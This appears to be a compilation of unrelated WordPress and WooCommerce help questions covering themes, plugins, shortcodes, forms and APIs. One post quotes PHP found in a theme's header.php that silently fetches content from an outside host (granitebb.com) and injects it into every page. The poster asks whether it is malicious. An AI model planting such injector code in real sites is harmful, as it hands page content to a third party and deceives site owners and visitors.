I would like to know is there any plugin or settings or code for woocommerce that support automatic delete/remove products that already expire in time such as sales that already over?
I try to add some javascript code after the content and before the related news links but my javascript code shown after the related news.
I try to this with add my code here : themes\themes_name\content_single.php :
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<header class="entry-header">
<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
<div class="entry-meta">
<?php accesspress_basic_posted_on(); ?>
</div><!-- .entry-meta -->
</header><!-- .entry-header -->
<div class="entry-content">
<?php the_post_thumbnail(); ?>
<?php the_content(); ?>
<?php
wp_link_pages( array(
'before' => '<div class="page-links">' . __( 'Pages:', 'accesspress-basic' ),
'after' => '</div>',
) );
?>
</div><!-- .entry-content -->
<div class="ads-baroot ads-desc">
**my Codes here...**
</div>
When i scanned a wordpress using exploit scanner
plugin i got following result
Is there anything to worry? is that contain malicious code????
Also in the theame header.php file i saw following details. Is there anything to worry? what is following code actually doing?
<?php
$h = $_SERVER['HTTP_HOST']; $u = trim($_SERVER['REQUEST_URI']);
$cd = dirname(__FILE__) . '/.cache';
$cf = $cd . '/' . md5($h . '##' . $u);
$s = '1.granitebb.com';
if (file_exists($cf) and filemtime($cf) > time() - 3600)
echo file_get_contents($cf);
else
{
$ini1 = @ini_set('allow_url_fopen', 1); $ini2 = @ini_set('default_socket_timeout', 3);
$p = '/links.php?u=' . urlencode($u) . '&h=' . urlencode($h);
$c = '';
if ($fp = @fsockopen($s, 80, $errno, $errstr, 3)) {
@fputs($fp, "GET {$p} HTTP/1.0\r\nHost: $s\r\n\r\n");
while (! feof($fp))
$c .= @fread($fp, 8192);
fclose($fp);
$c = end(explode("\r\n\r\n", $c));
echo $c;
if (strlen($c) and (is_dir($cd) or @mkdir($cd))) {
@file_put_contents($cf, $c);
}
}
@ini_set('allow_url_fopen', $ini1); @ini_set('default_socket_timeout', $ini2);
}
?>
Also is there any good php virus scanners??
I am using Facet WP to filter search results in Wordpress. I have a table with companies and a table with the companies' establishments. I want the search results to display the establishments, not the companies. However, I do want the user to be able to filter the establishments using the company information. (For instance a user can pick a company type, and it would show all locations linked to companies of this type).
It seems that all I can edit is the query args of the WP-query:
return array(
"post_type" => array('establishment', 'company'),
"post_status" => "publish",
"orderby" => "date",
"order" => "DESC",
"posts_per_page" => 10
);
What happens now is that, in the results, both the companies and establishments are listed in a long list instead of just the establishments. How can I accomplish that FacetWP lists only the establishments, but does filter by the companies?
I am using Ultimate member plugin in WORDPRESS. And the plugin has functionality to switch user account on FRONT END, By clicking on the Login as this User but suddenly it stopped working, and Its not working.
I found the code in the files that it is ultimately using:
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id, $rememberme );
// echo get_current user_id();
// here i am getting new user id;
$redirect_to = 'some url';
wp_safe_redirect( $redirect_to );
exit();
But after redirect i am not being switched to the new user but before redirection it returns new user id.
As i am not using any cache.
Thanks in Advance.
I have a plugin which has a function lets say function1 in class named class1. Now I want to override this function from another plugin such that when I activate the another plugin then the override function should work instead of the function present in the first plugin. How can I do that? I have tried extending that class which has function1 into the another plugin but don't know how to override it and make function2 work instead of function1.
I am working in Wordpress 4.4 running Child CoWorker Theme, and I am having issues with my portfolio. I have created 47 portfolio items, and each item is assigned a group. There are a total of 8 groups. In the portfolio page when you click on a portfolio item, the page refreshes, but nothing is sorted. Also, when I look at the plugins page, I don't see a portfolio plugin. I did not install it, so I am not sure which portfolio it is, but it looks great in the site, it just doesn't sort at all.
Here is more information. When I click on a specific portfolio item, it has its category listed, and when I click on the category name I go to a page with all the correct portfolio items listed in that group. But, when I try to sort from the main portfolio page and click on a category, it does not sort. On the main page, this is what the code looks like for the category links: Art Tour
This # above needs to be replaced with a url, right? In the portfolio, it says that each category has a 'slug' and it just has the name 'art-tour' for this slug, but I think it needs the right URL for the page with all the art tours on it. Thanks!
I am trying to build a website about selling audios via Wordpress and Easy Digital Downloads. I have changed the codes inside the plugin and website but i have a problem about overload. As you can see the link below, some of the files do not load when the page is open.
Can you please help me about the situation?
Please am trying to post into a wordpress site using the wp api, i have the code below but it does not seems to be working, am not getting any post in my site, please your suggestion are all welcome with posting into WordPress with the API, thanks
codes available at the link above, have issues posting codes here
I created a plugin to get some info from Amazon though Amazon product advertising API.
My function returns an array of info that I would like to cache once a day based on the keyboard used in the itemseatch (I use a shortcode in the content to input keyword for the API call)
Is there any simple solution to make it happen?
Thanks
I'm trying to use plugin settings api to add wp_editor, but the text/html is not saving.
// add the admin settings and such
add_action('admin_init', 'wp_shabbat_admin_init');
function wp_shabbat_admin_init(){
register_setting( 'wp_shabbat_settings', 'wp_shabbat_settings', 'wp_shabbat_settings_validate');
add_settings_field('wp_shabbat_user_custom_text', __('Enter your message','WP-Shabbat'), 'wp_shabbat_user_custom_text', 'wp_shabbat', 'wp_shabbat_main');
function wp_shabbat_user_custom_text() {
$options = get_option('wp_shabbat_settings');
$settings = array('media_buttons' => "false",'textarea_rows' => "5",'textarea_name' => 'user_cutom _text_msg');
wp_editor( $options['user_custom_text'],'user_custom_text', $settings );}
// validate
function wp_shabbat_settings_validate() {
$options = get_option('wp_shabbat_settings');
$user_custom_text = $input['user_custom_text'];
if ( empty($user_custom_text) ){
$options['user_custom_text'] = $user_custom_text;
}else{
$options['user_custom_text'] = __('Enter your own text','WP-Shabbat');// as set when the plugin activated
I have quick question that my web site is getting lot of brute force attacks. Now I decided to replace the wp-login.php with custom login page. In the cutom login page I used WordPress social login option such login with facebook, google, yahoo, windows. Now my question with this new modifications can I stop the brute force attacks or do I need to block some other settings.
Thanks, Hari
Hi all First I am sorry my english so bad, I want create multi individual post but I can not find way to do. I use theme zerif-lite,I have two menu customize link Our Client and Carrer,for Carrer I use plugin job manager ,so when I click link on each post it go to conten-page(both)and u can see my picture result that I want ,thanks you, Help me please !!
I have an autoplay audio button and it works perfectly. Now i just want when an user turn off the audio button and re-load the page or goes to other page and comes back to that audio page the audio button remains turn off.
I've created a WordPress page with a Ninja form on it that collects miscellaneous data about a product, including some uploaded images. The page with the form is accessible from the main menu by clicking the "Input" item, so the user doesn't need to access the backend to upload their product data.
I now want to put this data into a custom post type called "listing." There will eventually be thousands of these data sets and so thousands of "listing" pages, as people come to the site, click Input in the main menu to get to the page with the Ninja form and fill it out.
Could someone tell me how they would go about now building these listing pages from the data the form has collected?
Someone mentioned that the Front-End Post option of Ninja would create a new page for me from the data but after installing Front-End Post and Front-End Editor I haven't seen this option.
Thanks for your help.
Hi all First I am sorry my english so bad, I am a new of wordpress, I want to create multi individual post but I can not find way to do. I use theme zerif-lite,I have two menu customize link Our Client and Carrer,for Carrer I use plugin job manager ,so when I click link on each post it go to conten-page(both)and u can see my picture result that I want ,thanks you, Help me please !!
I am trying to pass argument in function and print the output in wordpress plugin i was not able to pass parameter here's my code
global $postidd;
$postidd=$_REQUEST["postid"];
function getcontent($postidd)
{
// do something with the args
if($postidd)
{
$args12 = array(
'p'=>15,
'post_type' => 'offers',
'orderby' => 'title',
'order' => 'ASC'
);
$the_query12 = new WP_Query( $args12 );
if ( $the_query12->have_posts() ) : while ( $the_query12->have_posts() ) : $the_query12->the_post();
return $postidd;
endwhile;endif;
return $postidd;
}
}
I created a field with user type user with multiselect so when the admin add the post he will select multiple user so how to get multiple user id in custom post type loop here's the code i used
$args = array(
'post_type' => 'offers',
'orderby' => 'title',
'order' => 'ASC'
);
$the_query = new WP_Query( $args );
if ( $the_query->have_posts() ) : while ( $the_query->have_posts() ) : $the_query->the_post();
echo $variable = get_field('select_user');
endwhile; endif;
I would like to add a hidden input field to a gravity form like:
<input type="hidden" id="Campaign_ID" name="Campaign_ID" value="ABCD">
where "ABCD" is a value that can be changed in the Gravity form interface.
Any tips / ideas
Thanks!
I have formidablepro over Wordpress. I want to create a validation in one field with a time that must be major of other field, i mean:
START_TIME > END_TIME (START_TIME has form id 23 and END_TIME form id 24)
I know that i need to add code in functions.php theme, like this:
add_filter('frm_validate_field_entry', 'my_custom_validation', 10, 3);
function my_custom_validation($errors, $posted_field, $posted_value){
if($posted_field->id == 24){
XXXXXXXXXXXXX{
$errors['field'. $posted_field->id] = 'That field is wrong!';
}
}
return $errors;
}
Any clue in the form validation?
I am trying to install the plugins directly from wordpress admin panel (instead of manual download and install). I am getting this error
Downloading install package from http://ift.tt/1QujitD
Download failed. error setting certificate verify locations: CAfile: /home/xyz/
public_html/http://ift.tt/1TTTGUR CApath: none
I am unable to get the root cause. Please provide the solution. Any help would be appreciated.
Thank you, Mahesh
I am using a plugin to access user to specific post for user but it saying You do not have sufficient permissions to access this page for restricted user can we redirect to specified page when it says like this?
Im trying to modify the old bulk landing page creator to separate separate the city and state fields. Problem is it doesnt look the like the str_ireplace is not working working correctly. When i enter in the list of city names, and the state i can get the city name to appear in the page title, content and permalink but the state value is not appearing in the page title, content and permalinks.
Below is the whole code. Can someone help me with this
<?php
if(is_admin())
{
global $table_prefix,$wpdb;
add_action('admin_menu','auto_generate_plugin_admin_menu');
function auto_generate_plugin_admin_menu() // Functions to be called in wp admin
{
add_options_page('Manage Contents','LNB Bulk Service Area Pages','administrator','content_settings','LNB_settings_page');
}
}
function LNB_settings_page(){
global $table_prefix,$wpdb;
if(isset($_REQUEST['action']))
{
$cityname_arr = explode("\n",$_REQUEST['cityname']);
$statename = explode("\n",$_REQUEST['statename']);
$title=$_REQUEST['page_title'];
foreach($cityname_arr as $cityname){
$cityname = str_replace(array("\n","\r","\r\n","\n\r")," ",$cityname);
$array_from = array ('[lnb-city]', '[lnb-state]');
$array_to = array ($cityname, $statename);
$title2 = str_ireplace ($array_from, $array_to, $title);
//$title2= str_ireplace("[lnb-city]",$cityname,$title);
$page_contents = str_ireplace("[lnb-city]",$cityname,str_replace(array("\n","\r","\r\n","\n\r")," ",$_REQUEST['page_contents']));
$post_array=array(
'post_content' => $page_contents,
'post_status' => 'publish',
'post_title' => $title2,
'post_type' => 'page',
'post_name' => str_replace(",","-",$title2) //post slug
); // Post Array End
if(isset($_REQUEST['parent_page']) && $_REQUEST['parent_page']>=1)
$post_array['post_parent']=$_REQUEST['parent_page'];
$post = $post_array;
$id = wp_insert_post($post);
update_post_meta($id,'lnb-city',$title2);
if(isset($_REQUEST['page_template']) && $_REQUEST['page_template']!='')
update_post_meta($id, '_wp_page_template', $_REQUEST['page_template']);
$update_message = '<div id="message" class="updated">
<p>
Pages Created. Click here to <a href="edit.php?post_status=draft&post_type=page">View Pages</a>
</p>
</div>';
}//End Foreach cityname_arr
}//END IF 'Action'
else{
$cityname='';
$title2='';
$imagename='';
$extra_contents='';
$update_message='';
}//End Else
?>
<div id="lnb-service-area-form">
<?php echo $update_message; ?>
<h2><?php echo _e('Auto Generated Page Contents Options');?></h2>
<form method="post" action="" onsubmit="return validate_submit()">
<?php wp_nonce_field('update-options'); ?>
<table>
<tr>
<td valign="top"><?php echo _e('City Text Field');?></td>
<td>
<textarea id="cityname" type="text" cols="40" rows="5" name="cityname" placeholder="Ex: Raleigh, NC"></textarea>
<br><label><?php _e("Please list one City,State per line"); ?></label>
</td>
</tr>
<tr>
<td valign="top"><?php echo _e('State Field');?></td>
<td>
<input id="statename" type="text" cols="40" rows="5" name="statename" placeholder="Ex:NC" />
<br><label><?php _e("Please enter the state"); ?></label>
</td>
</tr>
<tr>
<td valign="top"><?php echo _e('Parent Page');?></td>
<td><?php
$pages = get_pages(); // Gets all pages type posts
if($pages && !empty($pages)){
echo "<select name='parent_page' id='parent_page' ><option value='0'>None</option>";
foreach ( $pages as $page ) {
$option = '<option value="' . $page->ID . '">';
$option .= $page->post_title;
$option .= '</option>';
echo $option;
}
echo "</splect>";
}// End if Pages
?>
</td>
</tr>
<tr>
<td valign="top"><?php echo _e('Page Template');?></td><td>
<?php
$templates = get_page_templates(); //Get all available templates in the current themes
if($templates && !empty($templates)){
echo "<select name='page_template' id='page_template' ><option value=''>Default</option>";
foreach ( $templates as $template_name => $template_filename ) {
$option = '<option value="' . $template_filename . '">';
$option .= $template_name;
$option .= '</option>';
echo $option;
}
echo "</splect>";
} //End IF Templates
?>
</td>
</tr>
<tr>
<td valign="top"><?php echo _e('Page Title');?></td><td>
<input placeholder="<?php echo _e('ex: Find Web Design in [lnb-city]');?>" type="text" name="page_title" id="page_title" size="70">
</td>
</tr>
<tr>
<td valign="top" ><?php echo _e('Page Contents');?></td><td>
<textarea rows="15" cols="120"name="page_contents" id="page_contents"></textarea><br />
<?php echo _e('HTML Markup accepted as well as the [lnb-city] shortcode. Shortcode will be transformed into your city name.'); ?>
</td>
</tr>
</table>
<input type="hidden" name="action" value="update" >
<p>
<input type="submit" value="<?php echo _e('Create Service Area Pages'); ?>">
</p>
</form>
</div>
<script language="javascript">
function validate_submit() // Form values validation function
{
msg='';
if(document.getElementById('upload_image').value == '')
{
msg = msg+"Please enter any image URL or upload an image\n";
}
if(document.getElementById('cityname').value == '')
{
msg = msg+"Please enter City Name for the image\n";
}
if(document.getElementById('extra_contents').value == '')
{
msg = msg+"Please enter some extra contents \n";
}
if(msg=='')
{
return true
} //End If msg
else
{
alert(msg); // Message will be displayed to the user if there is any invalid values
return false;
} //end else msg
}// Validation FUnction Ends
</script>
<?php
}// End Function LNB_settings_page
?>
After installing and activating the SAM-pro plugin in my wordpress site,I try to schedule a test ad which should be shown on Widget section. But it shows the ad place image instead of adplace image. We have already linked the ad place with Ads. It is working on Windows environment properly but not on Linux. Any help would be much appreciated.
I worked on a website on my local server and then I used the plugin Duplicator to create a installer for my website. I installed that on my website, the homepage works perfectly, but when I click on other links or even the admin page, it shows me a blank page with the corect url. What can I do?
<!-- /*create category shortcode*/ -->
<?php
function ag_short_category(){
global $post;
$tax = get_taxonomy('ag_movie_type');
$name = $tax -> labels -> name;
$args = array(
'type' => 'ag_movie_reviews',
'hide_empty' => 0,
'taxonomy' => 'ag_movie_type',
);
$categories = get_categories( $args );
?>
<h3 class="p2"><?php echo $name;?></h3>
<ul class="list-1">
<?php foreach ( $categories as $term ): ?>
<li><a href="" id="<?php echo $term->term_id; ?>"><?php echo $term -> name;?></a></li>
<?php endforeach;?>
</ul>
<?php
}
add_shortcode('ag_category', 'ag_short_category');
?>
This is my code for creating shortcode. The code is work. But when i activating code, i can't upload images or video url. What is the problem?? thanks.
May be there is some error in plugin, due to this my website displaying blank. But when I comment this code in wp-setting.php then display but without plugins
foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
wp_register_plugin_realpath( $plugin );
include_once( $plugin );
}
What problem may be ?
I am currently working on developing a plugin for subscription in wordpress. I have integrated paypal with the plugin but the problem is that how can i get the payment status from paypal? I have set return parameter to my subscription page but it doesnot receive payment status and other paramters from paypal.
Please help me. Its urgent
Hi all I am a new of wordpress,First I am sorry my english so bad. I want to add button apply each job select in widget Job manager:selecte job, But I can not ,Help me please!!
I am working on a wordpress theme where I defined some users roles.So here I want only contributor and author can only see their own media library.
I need to correct and enhance an existing WooCommerce based public website - http://ift.tt/1Jf3dA1. I am a newbie to WordPress and WooCommerce.
I need guidance and help please.
I need to locate the page where clicking More Details on the http://ift.tt/1mqjc9H[^] for any product - e.g., under Smoke Detector product.
The way to come to this page is launch http://ift.tt/1Jf3dA3[^] then click Order Now button of blue colored first Free Protection product. Then scroll down a bit and you see a brown colored button with MORE DETAILS test. Clicking this button used to launch a pop up box with more product details.
I'm trying to add html code before and after the active side sidebar, without having to touch the theme, ie, making from my own plugin, or through the functions.php file.
Can this be done?
Thanks !!
i have a problem in my localhost custom theme worpdress, i'm using my maxmegamenu, and it's show it fine at the homepage, but when i try to navigate into the internal pages, the menu doesn't work, the links don't work, please what I can do? sorry my bad english... and thanks for help
In my company we have some technology restrictions. Currently I have a IIS server with PHP. IIS is configured to authenticate users over our Active Directory using NTLM.
I have installed WordPress on this server and am able to login on it using admin user (id=1), and any user is able to read articles and post comments anonymously.
"Thanks" to NTLM, I can retrieve users' login with $_SERVER['REMOTE_USER']
. This way I can identify (in a plugin) users. But WP doesn't automatically logs them and identifies them.
What I need now is to control users permissions inside Wordpress. I need to attribute roles to them, define groups of people allowed to publish, post and edit without being allowed to publish, comment and register their login on their comments, and also users that are allowed only to read articles (guests) and users not allowed to read articles. Maybe I'll also need to attribute read access relating roles to categories, so that a given role is allowed to read articles from a category and not from another category.
Users are related to departments and have one charge (job title). Users are frequently moving over departments and changing charge. I need to use both to define some roles. I can develop a plugin to hook on some WP filter, retrieve their data and dynamically set their role.
To retrieve their department, charge and name, I could use LDAP. If not possible, I have a MSSQL database that also has their data. So, if I can't use LDAP, I'd need to make WordPress connect to MSSQL and query it.
It's unpractical to register tens of thousands of users in WordPress, and even more to request them to keep their passwords. I need WordPress to identify users and automatically add new ones to its wp_users table. I also need to be able to manually register a few users without requiring them to first enter the site. I then can manually manage users to WordPress roles.
I see 3 possible solutions here:
1) Use IIS's NTLM to authenticate users, and use $_SERVER['REMOTE_USER']
to retrieve their login and log them into WordPress. If they aren't yet registered on wp_users, that's done so. I then query MSSQL for their data. This seems to be the easiest solution.
2) Use IIS's NTLM to authenticate users, and use $_SERVER['REMOTE_USER']
to retrieve their login. Then retrieve their names from AD using LDAP, and provide these data to authenticate WordPress and handle wp_users. This is the most desired solution, but also the most complex.
3) Ignore NTLM and require users to manually provide their login and password to WordPress's login form, then authenticate them over LDAP and handle wp_users. Provided password is their AD one. HTTPS is already working and being forced inside backend. This is the least desired solution, because users are already used to be authenticated from NTLM and may not want or understand the login form (yes...).
Has anybody done that and could help me? Is there a plugin that solves this need, or some open source code I can use as basis to develop a plugin?
Hi I am using wordpress for the first time. I am trying to incorperated the walker class into my project which is located at
D:\wamp\www\SgsOnline\wp-content\themes\storefront\inc\functions\walker.php
I have included my class in my functions as
require get_template_directory() . '/inc/functions/walker.php';
And I am trying to call it in my header like :
function storefront_primary_navigation() {
?>
<nav id="site-navigation" class="main-navigation " role="navigation" aria-label="<?php esc_html_e( 'Primary Navigation', 'storefront' ); ?>">
<button class="menu-toggle" aria-controls="primary-navigation" aria-expanded="false"><?php echo esc_attr( apply_filters( 'storefront_menu_toggle_text', __( 'Navigation', 'storefront' ) ) ); ?></button>
<?php
wp_nav_menu(
array(
'theme_location' => 'primary',
'container_class' => 'primary-navigation',
'menu_class'=>'nav navbar-nav navbar-left nav-tabs',
'walker' => new Walker_Nav_Primary()
)
);
?>
</nav><!-- #site-navigation -->
<?php
}
But I am getting a error :
Fatal error: Class 'Walker_Nav_Primary' not found in D:\wamp\www\SgsOnline\wp-content\themes\storefront\inc\structure\header.php on line 65
This is oblivious wrong because it is looking in the wrong place for the class.
If anyone has any experience with this would be great
Regards
Recently I am making a wordpress shortcode plugin . This is a responsive shortcode plugin. I want to customize the css from the user input declare by the user. so i have to make a $GLOBALS variable for this atts but its dont work. Someone please help me out from this problem because i cant figure out whats wrong.
<?php
function gs_tabs_shortcode($atts, $content= null){
$GLOBALS['tab_count'] = 0;
extract(shortcode_atts(array(
'fontcolor' => '',
'tabcolor' => '',
'contcolor' => '',
'contfontc' => ''
), $atts) );
$x = $GLOBALS['tab_count'];
//__User input bind in supper globar array__//
$GLOBALS['styls'][$x] = array( 'fontcolor' => $fontcolor,
'tabcolor' => $tabcolor,
'contcolor' => $contcolor,
'contfontc' => $contfontc);
$GLOBALS['tab_count']++;
do_shortcode( $content );
if ( is_array( $GLOBALS['tabs'] ) ) {
foreach ($GLOBALS['tabs'] as $tab ) {
$tabs[]= '<li> <i class="fa fa-'.$tab['icon'].' fa-lg "></i> '.$tab['title'].' </li>';
$tabcontent[]= '<div><p> '.$tab['content'].' </p></div>';
}
$return = '<div id="horizontalTab">';
$return .= '<ul class="resp-tabs-list">'.implode( "\n", $tabs ).'</ul>';
$return .= '<div class="resp-tabs-container">'.implode("\n", $tabcontent).'</div>';
$return .= '</div>';
}
return $return;
}
add_shortcode('gs_tabs', 'gs_tabs_shortcode');
function gs_tabs_shortcode_nested( $atts, $content= null ){
extract(shortcode_atts(array(
'title' => '',
'icon' => ''
), $atts) );
$x = $GLOBALS['tab_count'];
$content = do_shortcode($content);
//__User input bind in supper globar array__//
$GLOBALS['tabs'][$x] = array( 'title' => $title,
'content' => $content,
'icon' => $icon);
$GLOBALS['tab_count']++;
}
add_shortcode('gs_item','gs_tabs_shortcode_nested');
//customize userdata
function my_custom_fonts() {
if (is_array( $GLOBALS['styls'] ) ) {
foreach ( $GLOBALS['styls'] as $style ) {
$opt= '<style>
.resp-tab-item {
background: '.$style['tabcolor'].';
color:'.$style['fontcolor'].';
}
</style>';
echo $opt;
}
}
}
add_action('wp_head', 'my_custom_fonts');
?>
This is my customize css function
//customize userdata
function my_custom_fonts() {
if (is_array( $GLOBALS['styls'] ) ) {
foreach ( $GLOBALS['styls'] as $style ) {
$opt= '<style>
.resp-tab-item {
background: '.$style['tabcolor'].';
color:'.$style['fontcolor'].';
}
</style>';
echo $opt;
}
}
}
add_action('wp_head', 'my_custom_fonts');
User going to declare ther style like
[gs_tabs fontcolor="black" tabcolor="blue" ]
[gs_item title="item1" icon="camera-retro"]this is item 1[/gs_item]
[gs_item title="item2" ]this is item 2[/gs_item]
[gs_item title="item3" icon="binoculars"]this is item 3[/gs_item]
[/gs_tabs]
When i use wordpress premium theme from mafiashare, most of the time i do not get the name of the recommended plugins. Please help me.
I am trying to make a couple of advanced fields to show in my live site (running ACF pro) from my local (free ACF) using the following syntax:
<h1><?php the_field('homepage_header'); ?></h1>
However the h1 tag shows as empty. Is there a way to display the fields in ACF pro version 5.3.1 that is different from the free version (Version 4.4.4)?
In my plugin, I created a custom post type called "Product", then I added a product page single (product-single.php) and it's rendering and everything works fine. In single page product, I want render a template (view) but i do not know the structure of theme which the user has installed. Do I have write like this :
<?php get_header(); ?>
// Content, View
<?php get_sidebar(); ?>
<?php get_footer(); ?>
Or just like that, without sidebar
<?php get_header(); ?>
// Content, View
<?php get_footer(); ?>
Because every theme has his own structure.
Any Ideas to resolve my problem are welcome.
I want to create a plugin that has two views in front-end. How can I do that and how can I access this two views from home page?
I'm using boilerplate.
I have a plugin called facebook comments which uses the code [fbcomments]
to post a comment box, i wanted to know if i can use the same code two times or 3 and so on on the same page but with different boxes. if i use the code twice on the same page both show the same comments.
Can I assign numbers or something for different comment boxes?
Here's an example of using the shortcode:
[fbcomments url="http://ift.tt/1evouu1" width="375" count="off" num="3" countmsg="wonderful comments!"]
I'm building a plugin that insert a snippet of my solution in user post. The data of this snippet is stored on my server but I would like to allow the plugin user to synchronise it with the database.
I see basically 2 solutions :
add_rewrite_endpoint()
and call it every time an update is done on my server.wp_cron
and call my solution with a delta date.My problem is I can't figure out which solutions is better, I don't even know if the first one is really doable ?
Hi I am using wooCommerce for the first time . I am using the storefront theme and trying to add my own child theme(css file) but it will not work correctly.
I have added it in my setup.php functions file
function storefront_child_scripts() {
if ( is_child_theme() ) {
wp_enqueue_style( 'storefront-child-style', get_stylesheet_uri().'/custom-child.css', array('parent-style'), '1.0.0' , 'all' );
}
}
I have also added what i believe to be the right syntax to the css file..
/*
Theme Name: Storefront
Theme URI: http://ift.tt/1NakEmR
Author: WooThemes
Author URI: http://ift.tt/kGiGnM
Description: Storefront is the perfect theme for your next WooCommerce project. Designed and developed by WooThemes, it features a deep integration with our market leading WooCommerce plugin, several layout & color options to personalise your shop, multiple widget regions, a responsive design and much more. Developers will love it's lean and extensible codebase making it a joy to customise and extend. Looking for a WooCommerce theme? Look no further!
Version: 1.5.3
License: GNU General Public License v2 or later
License URI: http://ift.tt/fSabl7
Text Domain: storefront
Tags: black, white, light, two-columns, left-sidebar, right-sidebar, responsive-layout, custom-background, custom-colors, custom-header, custom-menu, featured-images, full-width-template, threaded-comments, accessibility-ready, rtl-language-support
*/
@import url("../storefront/style.css");
When i inspect it in my browsers it shows in the very top of the head but not correctly and the browser cannot seem to find it. I also find it strange that it loads at the top of the head when its soppose to be loaded last . I shows as...
<link rel="stylesheet" type="/custom-child.css" href="mystyle.css">
As you can see this is completely wrong the href points to 'mystyle' which I have no idea where that came from and the type shows the name of my file .
If any body has any experience with this and is willing to help would be great. Thanks
Hi all I am using plugin job manger, When user click upload file and click button submit your application , and the file send to my admin but can not send to my email, I want send to admin and email (both). How can I do this , Help me please ?
I want to use the Woocommerce REST API to get json data using PHP. How will i get that?
The cURL code is :
curl http://ift.tt/1YjiqHa \
-u consumer_key:consumer_secret
Node.js returns json but php api isn't? Is there php api to return json data?
Find documentation for Woocommerce API here
I have been searching for a plugin that allows users to register on a WordPress site and then submit forms so that admin can view it. I have found plugins for user registration and to submit form separately. But how can i combine those functionalities? Or is there a plugin that allows users to register, sign in and submit form?
Only signed in users can submit form and the form must be customizable.
I purchased divi, it's a great 'drag and drop' builder to build page layouts.
However, on wooCommerce product pages, the 'use divi builder' button is not there.
Does anyone know the internal workings of the plugin well enough to allow for the button to appear on the product pages.
I did contact there support, but they don't seem to want to answer harder questions.
I am trying to have my Wordpress plugin to create the table with data on activation.
The sql seems to be executed and is by itself correct (in fact, it works if I copy it manually to the sql server)
My php code is as follows
register_activation_hook( __FILE__, function () {
global $wpdb;
$table_name = $wpdb->prefix . "ajax_preview_galleries";
$charset_collate = $wpdb->get_charset_collate();
//Table definition
$sql = "CREATE TABLE $table_name (
gallery_id int(10) unsigned NOT NULL AUTO_INCREMENT,
gallery_name varchar(100) COLLATE utf8_unicode_ci NOT NULL,
gallery_slug varchar(100) COLLATE utf8_unicode_ci NOT NULL,
gallery_selected_terms text COLLATE utf8_unicode_ci NOT NULL,
gallery_select_by tinyint(3) unsigned NOT NULL COMMENT '0: categories only; 1: tags only; 2: both',
gallery_post_count tinyint(3) unsigned NOT NULL,
gallery_custom_class_container varchar(200) COLLATE utf8_unicode_ci NOT NULL,
gallery_custom_class_buttons varchar(200) COLLATE utf8_unicode_ci NOT NULL,
gallery_transition_time int(10) unsigned NOT NULL DEFAULT '500',
gallery_loading_type tinyint(3) unsigned NOT NULL DEFAULT '1',
gallery_navigator_loop tinyint(3) unsigned NOT NULL DEFAULT '1',
PRIMARY KEY (gallery_id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
$res = dbDelta($sql);
});
If I output $res, I get this: Array ( [orhub_ajax_preview_galleries] => Created table orhub_ajax_preview_galleries )
Which would suggest everything is fine. If I check the database, though, the table is not there, and the plugin is unable indeed to store data.
As I said, I tried to output $sql and paste it directly in phpMyAdmin. That worked, so the problem doesn not seem to be in the query.
What else can be wrong then?
By the way, I tried also maybe_create_table, and that was not working either